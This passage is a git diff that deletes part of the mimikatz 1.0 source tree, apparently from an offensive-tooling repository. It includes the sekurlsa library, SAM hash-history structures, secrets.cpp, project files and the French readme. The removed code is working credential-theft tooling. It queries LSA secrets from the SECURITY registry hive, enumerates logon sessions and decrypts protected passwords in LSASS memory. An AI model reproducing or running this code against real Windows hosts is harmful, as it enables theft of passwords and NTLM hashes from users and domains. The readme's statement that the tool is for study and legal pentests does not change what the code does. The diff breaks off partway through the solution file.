USER_SMARTCARD_REQUIRED 0x00001000 -#define USER_TRUSTED_FOR_DELEGATION 0x00002000 -#define USER_PASSWORD_EXPIRED 0x00020000 - -typedef struct _WUserAllInformation -{ - unsigned long UserId; - wstring UserName; - wstring DomaineName; - wstring FullName; - bool isActif; - bool isLocked; - wstring TypeCompte; - wstring UserComment; - wstring AdminComment; - wstring AccountExpires; - wstring AccountExpires_strict; - wstring WorkStations; - - wstring HomeDirectory; - wstring HomeDirectoryDrive; - wstring ProfilePath; - wstring ScriptPath; - - unsigned short LogonCount; - unsigned short BadPasswordCount; - wstring LastLogon; - wstring LastLogon_strict; - wstring LastLogoff; - wstring LastLogoff_strict; - - wstring PasswordLastSet; - wstring PasswordLastSet_strict; - bool isPasswordNotExpire; - bool isPasswordNotRequired; - bool isPasswordExpired; - wstring PasswordCanChange; - wstring PasswordCanChange_strict; - wstring PasswordMustChange; - wstring PasswordMustChange_strict; - - bool LmPasswordPresent; - wstring LmOwfPassword; - bool NtPasswordPresent; - wstring NtOwfPassword; -} WUserAllInformation, *PUserAllInformation; - -typedef struct _WHashHistory -{ - DWORD unkVersion; - unsigned short currentLMsize; - unsigned short unkCurrentLMsize; - DWORD unkCurLM; - BYTE EncLMhash[16]; - - unsigned short currentNTLMsize; - unsigned short unkCurrentNTLMsize; - DWORD unkCurNTLM; - BYTE EncNTLMhash[16]; - - unsigned short histLMsize; - unsigned short unkhistLMsize; - DWORD unkHistLM; - - unsigned short histNTLMsize; - unsigned short unkhistNTLMsize; - DWORD unkHistNTLM; - BYTE hashs[24][16]; -} WHashHistory, *PWHashHistory; - -DECLARE_HANDLE(HUSER); -DECLARE_HANDLE(HSAM); -DECLARE_HANDLE(HDOMAIN); - -typedef struct _SAMPR_RID_ENUMERATION -{ - unsigned long RelativeId; - LSA_UNICODE_STRING Name; -} SAMPR_RID_ENUMERATION, *PSAMPR_RID_ENUMERATION; - -typedef struct _SAMPR_ENUMERATION_BUFFER -{ - unsigned long EntriesRead; - [size_is(EntriesRead)] PSAMPR_RID_ENUMERATION Buffer; -} SAMPR_ENUMERATION_BUFFER, *PSAMPR_ENUMERATION_BUFFER; - -typedef enum _USER_INFORMATION_CLASS -{ - UserInternal1Information = 18, - UserAllInformation = 21, -} USER_INFORMATION_CLASS, *PUSER_INFORMATION_CLASS; - -typedef struct _ENCRYPTED_LM_OWF_PASSWORD -{ - BYTE data[16]; -} ENCRYPTED_LM_OWF_PASSWORD, *PENCRYPTED_LM_OWF_PASSWORD, ENCRYPTED_NT_OWF_PASSWORD, *PENCRYPTED_NT_OWF_PASSWORD; - -typedef struct _SAMPR_USER_INTERNAL1_INFORMATION -{ - ENCRYPTED_NT_OWF_PASSWORD EncryptedNtOwfPassword; - ENCRYPTED_LM_OWF_PASSWORD EncryptedLmOwfPassword; - unsigned char NtPasswordPresent; - unsigned char LmPasswordPresent; - unsigned char PasswordExpired; -} SAMPR_USER_INTERNAL1_INFORMATION, *PSAMPR_USER_INTERNAL1_INFORMATION; - -typedef struct _OLD_LARGE_INTEGER { - unsigned long LowPart; - long HighPart; -} OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER; - -typedef struct _SAMPR_SR_SECURITY_DESCRIPTOR { - [range(0, 256 * 1024)] unsigned long Length; - [size_is(Length)] unsigned char* SecurityDescriptor; -} SAMPR_SR_SECURITY_DESCRIPTOR, *PSAMPR_SR_SECURITY_DESCRIPTOR; - -typedef struct _SAMPR_LOGON_HOURS { - unsigned short UnitsPerWeek; - [size_is(1260), length_is((UnitsPerWeek+7)/8)] - unsigned char* LogonHours; -} SAMPR_LOGON_HOURS, *PSAMPR_LOGON_HOURS; - -typedef struct _SAMPR_USER_ALL_INFORMATION -{ - OLD_LARGE_INTEGER LastLogon; - OLD_LARGE_INTEGER LastLogoff; - OLD_LARGE_INTEGER PasswordLastSet; - OLD_LARGE_INTEGER AccountExpires; - OLD_LARGE_INTEGER PasswordCanChange; - OLD_LARGE_INTEGER PasswordMustChange; - LSA_UNICODE_STRING UserName; - LSA_UNICODE_STRING FullName; - LSA_UNICODE_STRING HomeDirectory; - LSA_UNICODE_STRING HomeDirectoryDrive; - LSA_UNICODE_STRING ScriptPath; - LSA_UNICODE_STRING ProfilePath; - LSA_UNICODE_STRING AdminComment; - LSA_UNICODE_STRING WorkStations; - LSA_UNICODE_STRING UserComment; - LSA_UNICODE_STRING Parameters; - LSA_UNICODE_STRING LmOwfPassword; - LSA_UNICODE_STRING NtOwfPassword; - LSA_UNICODE_STRING PrivateData; - SAMPR_SR_SECURITY_DESCRIPTOR SecurityDescriptor; - unsigned long UserId; - unsigned long PrimaryGroupId; - unsigned long UserAccountControl; - unsigned long WhichFields; - SAMPR_LOGON_HOURS LogonHours; - unsigned short BadPasswordCount; - unsigned short LogonCount; - unsigned short CountryCode; - unsigned short CodePage; - unsigned char LmPasswordPresent; - unsigned char NtPasswordPresent; - unsigned char PasswordExpired; - unsigned char PrivateDataSensitive; -} SAMPR_USER_ALL_INFORMATION, *PSAMPR_USER_ALL_INFORMATION; - -typedef [switch_is(USER_INFORMATION_CLASS)] union _SAMPR_USER_INFO_BUFFER /* http://msdn.microsoft.com/en-us/library/cc211885.aspx */ -{ - [case(UserInternal1Information)] - SAMPR_USER_INTERNAL1_INFORMATION Internal1; - [case(UserAllInformation)] - SAMPR_USER_ALL_INFORMATION All; -} SAMPR_USER_INFO_BUFFER, *PSAMPR_USER_INFO_BUFFER; - -WUserAllInformation UserInformationsToStruct(USER_INFORMATION_CLASS type, PSAMPR_USER_INFO_BUFFER & monPtr); -bool descrToPipeInformations(mod_pipe * monPipe, USER_INFORMATION_CLASS type, WUserAllInformation & mesInfos, bool isCSV = false); -bool descrUserHistoryToPipe(mod_pipe * monPipe, DWORD rid, wstring monUserName, wstring domainName, HUSER handleUser, USER_INFORMATION_CLASS type, bool isCSV = false); -wstring toTimeFromOLD_LARGE_INTEGER(OLD_LARGE_INTEGER & monInt, bool isStrict = false); -wstring protectMe(wstring &maChaine); -void correctMe(wstring &maChaine); - -typedef NTSTATUS (WINAPI * PSAM_I_CONNECT) (DWORD, HSAM *, DWORD, DWORD); -typedef NTSTATUS (WINAPI * PSAM_R_OPEN_DOMAIN) (HSAM, DWORD dwAccess, PSID, HDOMAIN*); -typedef NTSTATUS (WINAPI * PSAM_R_OPEN_USER) (HDOMAIN, DWORD dwAccess, DWORD, HUSER*); -typedef NTSTATUS (WINAPI * PSAM_R_ENUMERATE_USERS_IN_DOMAIN) (HDOMAIN, DWORD*, DWORD, PSAMPR_ENUMERATION_BUFFER *, DWORD, PVOID); -typedef NTSTATUS (WINAPI * PSAM_R_QUERY_INFORMATION_USER) (HUSER, DWORD, PSAMPR_USER_INFO_BUFFER *); -typedef HLOCAL (WINAPI * PSAM_I_FREE_SAMPR_USER_INFO_BUFFER) (PVOID, DWORD); -typedef HLOCAL (WINAPI * PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER) (PSAMPR_ENUMERATION_BUFFER); -typedef NTSTATUS (WINAPI * PSAM_R_CLOSE_HANDLE) (PHANDLE); -typedef NTSTATUS (WINAPI * PSAM_I_GET_PRIVATE_DATA) (HUSER, DWORD *, DWORD *, DWORD *, PWHashHistory *); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp deleted file mode 100644 index 06d86649..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp +++ /dev/null @@ -1,99 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "secrets.h" - -PLSA_I_OPEN_POLICY_TRUSTED LsaIOpenPolicyTrusted = NULL; -PLSA_R_OPEN_SECRET LsarOpenSecret = NULL; -PLSA_R_QUERY_SECRET LsarQuerySecret = NULL; -PLSA_R_CLOSE LsarClose = NULL; - -bool searchSECFuncs() -{ - if(!(LsaIOpenPolicyTrusted && LsarOpenSecret && LsarQuerySecret && LsarClose)) - { - if(HMODULE hLsasrv = GetModuleHandle(L"lsasrv")) - { - LsaIOpenPolicyTrusted = reinterpret_cast(GetProcAddress(hLsasrv, "LsaIOpenPolicyTrusted")); - LsarOpenSecret = reinterpret_cast(GetProcAddress(hLsasrv, "LsarOpenSecret")); - LsarQuerySecret = reinterpret_cast(GetProcAddress(hLsasrv, "LsarQuerySecret")); - LsarClose = reinterpret_cast(GetProcAddress(hLsasrv, "LsarClose")); - } - return (LsaIOpenPolicyTrusted && LsarOpenSecret && LsarQuerySecret && LsarClose); - } - else return true; -} - -__kextdll bool __cdecl getSECFunctions(mod_pipe * monPipe, vector * mesArguments) -{ - wostringstream monStream; - monStream << L"** lsasrv.dll ** ; Statut recherche : " << (searchSECFuncs() ? L"OK :)" : L"KO :(") << endl << endl << - L"@LsaIOpenPolicyTrusted = " << LsaIOpenPolicyTrusted << endl << - L"@LsarOpenSecret = " << LsarOpenSecret << endl << - L"@LsarQuerySecret = " << LsarQuerySecret << endl << - L"@LsarClose = " << LsarClose << endl; - return sendTo(monPipe, monStream.str()); -} - -__kextdll bool __cdecl getSecrets(mod_pipe * monPipe, vector * mesArguments) -{ - if(searchSECFuncs()) - { - bool sendOk = true; - wstring message; - LSA_HANDLE hPolicy; - - if(NT_SUCCESS(LsaIOpenPolicyTrusted(&hPolicy))) - { - HKEY hKeysSecrets; - if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SECURITY\\Policy\\Secrets", 0, KEY_READ, &hKeysSecrets) == ERROR_SUCCESS) - { - DWORD nbKey, maxKeySize; - if(RegQueryInfoKey(hKeysSecrets, NULL, NULL, NULL, &nbKey, &maxKeySize, NULL, NULL, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) - { - for(DWORD i = 0; (i < nbKey) && sendOk; i++) - { - DWORD buffsize = (maxKeySize+1) * sizeof(wchar_t); - LSA_UNICODE_STRING monNomSecret = {0, 0, new wchar_t[buffsize]}; - - if(RegEnumKeyEx(hKeysSecrets, i, monNomSecret.Buffer, &buffsize, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) - { - monNomSecret.Length = monNomSecret.MaximumLength = static_cast(buffsize * sizeof(wchar_t)); - message.assign(L"\nSecret : "); message.append(mod_text::stringOfSTRING(monNomSecret)); message.push_back(L'\n'); - - LSA_HANDLE hSecret; - if(NT_SUCCESS(LsarOpenSecret(hPolicy, &monNomSecret, SECRET_QUERY_VALUE, &hSecret))) - { - LSA_SECRET * monSecret = NULL; - if(NT_SUCCESS(LsarQuerySecret(hSecret, &monSecret, NULL, NULL, NULL))) - { - message.append(L"Credential : "); message.append(mod_text::stringOrHex(reinterpret_cast(monSecret->Buffer), monSecret->Length)); message.push_back(L'\n'); - LsaFreeMemory(monSecret); - } - else message.append(L"Erreur : Impossible de rcuprer le secret\n"); - LsarClose(&hSecret); - } - else message.append(L"Erreur : Impossible d\'ouvrir le secret\n"); - } - delete[] monNomSecret.Buffer; - sendOk = sendTo(monPipe, message); - } - message.clear(); - } else message.assign(L"Erreur : Impossible d\'obtenir des information sur le registre secret\n"); - RegCloseKey(hKeysSecrets); - } - else message.assign(L"Erreur : Impossible d\'ouvrir la cl Secrets\n"); - LsarClose(&hPolicy); - } - else message.assign(L"Erreur : Impossible d\'ouvrir la politique\n"); - - if(!message.empty()) - sendOk = sendTo(monPipe, message); - - return sendOk; - } - else return getSECFunctions(monPipe, mesArguments); -} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h deleted file mode 100644 index cb74837d..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h +++ /dev/null @@ -1,29 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "kmodel.h" -#include "mod_text.h" -#include - -bool searchSECFuncs(); -__kextdll bool __cdecl getSECFunctions(mod_pipe * monPipe, vector * mesArguments); -__kextdll bool __cdecl getSecrets(mod_pipe * monPipe, vector * mesArguments); - -#define SECRET_SET_VALUE 0x00000001 -#define SECRET_QUERY_VALUE 0x00000002 - -typedef struct _LSA_SECRET -{ - DWORD Length; - DWORD MaximumLength; - wchar_t * Buffer; -} LSA_SECRET, *PLSA_SECRET; - -typedef NTSTATUS (WINAPI * PLSA_I_OPEN_POLICY_TRUSTED) (LSA_HANDLE * pHPolicy); -typedef NTSTATUS (WINAPI * PLSA_R_OPEN_SECRET) (LSA_HANDLE hPolicy, LSA_UNICODE_STRING *, DWORD dwAccess, LSA_HANDLE * hSecret); -typedef NTSTATUS (WINAPI * PLSA_R_QUERY_SECRET) (LSA_HANDLE hSecret, PLSA_SECRET * ppSecret, PVOID pCurrentValueSetTime, PLSA_UNICODE_STRING * ppOldSecret, PVOID pOldValueSetTime); -typedef NTSTATUS (WINAPI * PLSA_R_CLOSE) (LSA_HANDLE * pHandle); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp deleted file mode 100644 index 1d07596a..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp +++ /dev/null @@ -1,86 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "sekurlsa.h" -PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable = NULL; - -__kextdll bool __cdecl getDescription(wstring * maDescription) -{ - maDescription->assign(L"SekurLSA : librairie de manipulation des donnes de scurits dans LSASS\n"); - return mod_system::getVersion(&mod_system::GLOB_Version); -} - -bool searchLSAFuncs() -{ - if(!SeckPkgFunctionTable) - { - if(HMODULE hLsasrv = GetModuleHandle(L"lsasrv")) - { - struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsasrv, "LsaIRegisterNotification"), GetProcAddress(hLsasrv, "LsaICancelNotification")}; - if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification) - mod_memory::genericPatternSearch(reinterpret_cast(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true); - } - } - return (SeckPkgFunctionTable != NULL); -} - -wstring getPasswordFromProtectedUnicodeString(LSA_UNICODE_STRING * ptrPass) -{ - wstring password; - if(ptrPass->Buffer && (ptrPass->Length > 0)) - { - BYTE * monPass = new BYTE[ptrPass->MaximumLength]; - RtlCopyMemory(monPass, ptrPass->Buffer, ptrPass->MaximumLength); - SeckPkgFunctionTable->LsaUnprotectMemory(monPass, ptrPass->MaximumLength); - password.assign(mod_text::stringOrHex(reinterpret_cast(monPass), ptrPass->Length)); - delete[] monPass; - } - return password; -} - -bool getLogonData(mod_pipe * monPipe, vector * mesArguments, vector> * mesProviders) -{ - bool sendOk = true; - PLUID sessions; - ULONG count; - - if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions))) - { - for (ULONG i = 0; i < count && sendOk; i++) - { - PSECURITY_LOGON_SESSION_DATA sessionData = NULL; - if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData))) - { - if(sessionData->LogonType != Network) - { - wostringstream maPremiereReponse; - maPremiereReponse << endl << - L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl << - L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl << - L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl << - L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl; - - sendOk = sendTo(monPipe, maPremiereReponse.str()); - - for(vector>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++) - { - wostringstream maSecondeReponse; - maSecondeReponse << L'\t' << monProvider->second << L" : \t"; - sendOk = sendTo(monPipe, maSecondeReponse.str()); - monProvider->first(&sessions[i], monPipe, mesArguments->empty()); - sendOk = sendTo(monPipe, L"\n"); - } - } - LsaFreeReturnBuffer(sessionData); - } - else sendOk = sendTo(monPipe, L"Erreur : Impossible d\'obtenir les donnes de session\n"); - } - LsaFreeReturnBuffer(sessions); - } - else sendOk = sendTo(monPipe, L"Erreur : Impossible d\'numerer les sessions courantes\n"); - - return sendOk; -} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h deleted file mode 100644 index c36e1733..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h +++ /dev/null @@ -1,23 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "kmodel.h" -#include "secpkg.h" -#include "mod_memory.h" -#include "mod_system.h" -#include "mod_text.h" -#include "mod_process.h" - -extern PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable; - -bool searchLSAFuncs(); -__kextdll bool __cdecl getDescription(wstring * maDescription); - -typedef bool (WINAPI * PFN_ENUM_BY_LUID) (__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); -bool getLogonData(mod_pipe * monPipe, vector * mesArguments, vector> * mesProviders); - -wstring getPasswordFromProtectedUnicodeString(LSA_UNICODE_STRING * ptrPass); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc deleted file mode 100644 index 2243435e..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj deleted file mode 100644 index dbea2a6a..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj +++ /dev/null @@ -1,154 +0,0 @@ - - - - - Release - Win32 - - - Release - x64 - - - - {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60} - Win32Proj - sekurlsa - - - - DynamicLibrary - false - true - Unicode - Static - - - DynamicLibrary - false - true - Unicode - Static - - - - - - - - - - - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - - - - Level3 - NotUsing - Full - true - true - WIN32;NDEBUG;PSAPI_VERSION=1;_WINDOWS;_USRDLL;SEKURLSA_EXPORTS;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) - Size - true - false - Fast - false - false - None - - - Windows - false - true - true - psapi.lib;secur32.lib;advapi32.lib;shlwapi.lib;%(AdditionalDependencies) - NoErrorReport - - - - - 0x040c - - - - - Level3 - NotUsing - Full - true - true - WIN32;NDEBUG;PSAPI_VERSION=1;_WINDOWS;_USRDLL;SEKURLSA_EXPORTS;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) - Size - true - false - Fast - false - false - None - - - Windows - false - true - true - psapi.lib;secur32.lib;advapi32.lib;shlwapi.lib;%(AdditionalDependencies) - NoErrorReport - - - - - 0x040c - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters deleted file mode 100644 index 936fcde8..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters +++ /dev/null @@ -1,122 +0,0 @@ - - - - - {87c9f520-31d1-4b44-a523-415e0c703bde} - - - {8c6588bf-b3cf-4080-b59e-3ce82a6ccd62} - - - {9e44771d-18f4-407a-8f89-508cf5c366ff} - - - {541a9eff-641d-4a77-9b1f-e72ad6a7c0fa} - - - {ba6b07a5-6d5b-4632-ad6e-56690630eaa7} - - - {1e52fbf9-a352-419f-870b-3c4e265781d8} - - - - - {7fcd7c52-b4e5-4c6c-9dc7-190fbe667193} - - - {c175e3ec-41d0-4474-bbc7-eb1962a7fc70} - - - {b3819528-2e60-46a3-b37a-7c575a4d866a} - - - - - Modules Communs\Communication - - - Modules Communs\Parseur - - - Modules Communs\Librairie Modèle - - - Modules Communs\Mémoire - - - - Modules Communs\System - - - Security Packages - - - Security Packages - - - Modules Communs\Texte - - - Modules Communs\System - - - Modules locaux pour sekurlsa - - - Modules locaux pour sekurlsa - - - Modules locaux pour sekurlsa - - - Modules locaux pour sekurlsa - - - - - Modules Communs\Communication - - - Modules Communs\Parseur - - - Modules Communs\Librairie Modèle - - - Modules Communs\Mémoire - - - - Modules Communs\System - - - Security Packages - - - Security Packages - - - Modules Communs\Texte - - - - Modules Communs\System - - - Modules locaux pour sekurlsa - - - Modules locaux pour sekurlsa - - - Modules locaux pour sekurlsa - - - Modules locaux pour sekurlsa - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/lisezmoi.txt b/Exfiltration/mimikatz-1.0/lisezmoi.txt deleted file mode 100644 index eed6a507..00000000 --- a/Exfiltration/mimikatz-1.0/lisezmoi.txt +++ /dev/null @@ -1,47 +0,0 @@ -mimikatz -======== - - -Cette archive ne contient que les binaires pour les architectures x86 (Win32) et x64. Des extraits de diffrents codes source sont disponibles : http://blog.gentilkiwi.com/mimikatz -Cet utilitaire ne peut tre utilis qu' des fins d'tudes, pentests et autres actions lgales en accord avec la licence prcise ci-dessous. - -Plus globalement, merci de respecter la philosophie avec laquelle cet outil a t cr, c'est dire en ne permettant pas son utilisation des fins malveillantes. -Je ne serais en aucun cas responsable de l'utilisation qui serait faite de ces technologies. - -Binaires, codes source, drivs et utilisations sous Licence : http://creativecommons.org/licenses/by/3.0/fr/ -Exception pour la librairie sekurlsa : http://creativecommons.org/licenses/by/3.0/fr/ -_____________________________________________________ -Benjamin DELPY `gentilkiwi` -http://blog.gentilkiwi.com/mimikatz -benjamin@gentilkiwi.com - - -anti-gpo standalone -=================== - -Ces outils ont ts remplac par l'utilisation directe de mimikatz - -* KiwiRegedit - mimikatz nogpo::regedit exit - -* KiwiCmd - mimikatz nogpo::cmd exit - -* KiwiRegedit - mimikatz nogpo::taskmgr exit - - -outils incorpors -================= - -* psexec.exe - PsExec v1.98 - Execute processes remotely - Mark Russinovich (Sysinternals / Microsoft) - -* tee.exe - GNU shellutils 1.9.4 - http://unxutils.sourceforge.net/ - -* winmine.exe - Dmineur de Windows XP - Robert Donner et Curt Johnson (Microsoft) \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz.sln b/Exfiltration/mimikatz-1.0/mimikatz.sln deleted file mode 100644 index aa46f442..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz.sln +++ /dev/null @@ -1,85 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 11.00 -# Visual Studio 2010 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mimikatz", "mimikatz\mimikatz.vcxproj", "{2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kelloworld", "librairies\kelloworld\kelloworld.vcxproj", "{D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}" -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "librairies", "librairies", "{B17EB705-1C68-44FD-A82B-860C539219A8}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sekurlsa", "librairies\sekurlsa\sekurlsa.vcxproj", "{3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "klock", "librairies\klock\klock.vcxproj", "{6556249E-1C80-4047-A863-F608C8B8AC55}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kappfree", "kappfree\kappfree.vcxproj", "{E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}" -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{7999D050-6332-45F7-A343-C343902B1453}" - ProjectSection(SolutionItems) = preProject - lisezmoi.txt = lisezmoi.txt - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "En-têtes", "En-têtes", "{24371643-CEFE-4590-BB29-6141CB5E25D1}" - ProjectSection(SolutionItems) = preProject - commun\globdefs.h = commun\globdefs.h - commun\secpkg.h = commun\secpkg.h - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Icons", "Icons", "{80532836-DE52-40AD-B373-E4098BF52E1F}" - ProjectSection(SolutionItems) = preProject - commun\icons\cmd_32.ico = commun\icons\cmd_32.ico - commun\icons\cmd_48.ico = commun\icons\cmd_48.ico - commun\icons\cmd_kiwi.ico = commun\icons\cmd_kiwi.ico - commun\icons\mimikatz_bird.ico = commun\icons\mimikatz_bird.ico - commun\icons\mimikatz_fruit.ico = commun\icons\mimikatz_fruit.ico - commun\icons\mimikatz_fruit_16.ico = commun\icons\mimikatz_fruit_16.ico - commun\icons\regedit_32.ico = commun\icons\regedit_32.ico - commun\icons\regedit_48.ico = commun\icons\regedit_48.ico - commun\icons\regedit_kiwi.ico = commun\icons\regedit_kiwi.ico - commun\icons\taskmgr_32.ico = commun\icons\taskmgr_32.ico - commun\icons\taskmgr_48.ico = commun\icons\taskmgr_48.ico - commun\icons\taskmgr_kiwi.ico = commun\icons\taskmgr_kiwi.ico - EndProjectSection -EndProject -Global - GlobalSection(SubversionScc) = preSolution - Svn-Managed = True - Manager = AnkhSVN - Subversion Support for Visual Studio - EndGlobalSection - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Release|Win32 = Release|Win32 - Release|x64 = Release|x64 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|Win32.ActiveCfg = Release|Win32 - {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|Win32.Build.0 = Release|Win32 - {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|x64.ActiveCfg = Release|x64 - {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|x64.Build.0 = Release|x64 - {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|Win32.ActiveCfg = Release|Win32 - {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|Win32.Build.0 = Release|Win32 - {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|x64.ActiveCfg = Release|x64 - {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|x64.Build.0 = Release|x64 - {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|Win32.ActiveCfg = Release|Win32 - {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|Win32.Build.0 = Release|Win32 - {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|x64.ActiveCfg = Release|x64 - {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|x64.Build.0 = Release|x64 - {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|Win32.ActiveCfg = Release|Win32 - {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|Win32.Build.0 = Release|Win32 - {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|x64.ActiveCfg = Release|x64 - {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|x64.Build.0 = Release|x64 - {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|Win32.ActiveCfg = Release|Win32 - {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|Win32.Build.0 = Release|Win32 - {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|x64.ActiveCfg = Release|x64 - {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|x64.Build.0 = Release|x64 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(NestedProjects) = preSolution - {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6} = {B17EB705-1C68-44FD-A82B-860C539219A8} - {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60} = {B17EB705-1C68-44FD-A82B-860C539219A8} - {6556249E-1C80-4047-A863-F608C8B8AC55} = {B17EB705-1C68-44FD-A82B-860C539219A8} - {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0} = {B17EB705-1C68-44FD-A82B-860C539219A8} - {24371643-CEFE-4590-BB29-6141CB5E25D1} = 